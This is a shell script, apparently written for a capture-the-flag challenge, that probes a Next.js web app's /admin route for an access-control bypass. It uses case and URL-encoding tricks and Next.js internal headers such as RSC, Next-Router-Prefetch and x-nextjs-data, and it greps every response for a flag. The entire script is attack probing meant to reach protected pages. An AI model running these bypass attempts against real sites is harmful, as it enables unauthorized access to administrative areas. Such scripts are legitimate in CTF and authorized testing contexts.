Загрузка данных


T="http://task.duckerz.ru:21046"

echo "########## 1. Проверка URL-трюков вручную ##########"
for p in "/admin/" "/ADMIN" "/%61dmin"; do
  echo "=== $p ==="
  curl -s -i --max-time 10 "$T$p" | head -10
  echo
done

echo "########## 2. RSC + prefetch + data ##########"
for opts in \
  '-H "RSC: 1" -H "Next-Router-Prefetch: 1" -H "x-nextjs-data: 1"' \
  '-H "RSC: 1" -H "x-nextjs-data: 1"' \
  '-H "Next-Router-Prefetch: 1" -H "x-nextjs-data: 1"' \
  '-H "x-nextjs-data: 1"' \
  ; do
  echo "=== $opts ==="
  eval curl -s --max-time 10 "$T/admin" $opts | head -40
  echo
  echo "--- grep flag ---"
  eval curl -s --max-time 10 "$T/admin" $opts | grep -oE "DUCKERZ\{[^}]*\}|flag[^,}\"]+"
  echo
done

echo "########## 3. RSC ?_rsc=1 ##########"
curl -s --max-time 10 "$T/admin?_rsc=1" -H "RSC: 1" | head -40
echo "--- grep ---"
curl -s --max-time 10 "$T/admin?_rsc=1" -H "RSC: 1" | grep -oE "DUCKERZ\{[^}]*\}"

echo "########## 4. Segment prefetch ##########"
curl -s --max-time 10 "$T/admin" -H "Next-Router-Segment-Prefetch: /admin" -H "x-nextjs-data: 1" | head -40

echo "########## 5. login с RSC-data ##########"
curl -s --max-time 10 "$T/login" -H "RSC: 1" -H "x-nextjs-data: 1" | grep -oE "DUCKERZ\{[^}]*\}"

echo "########## DONE ##########"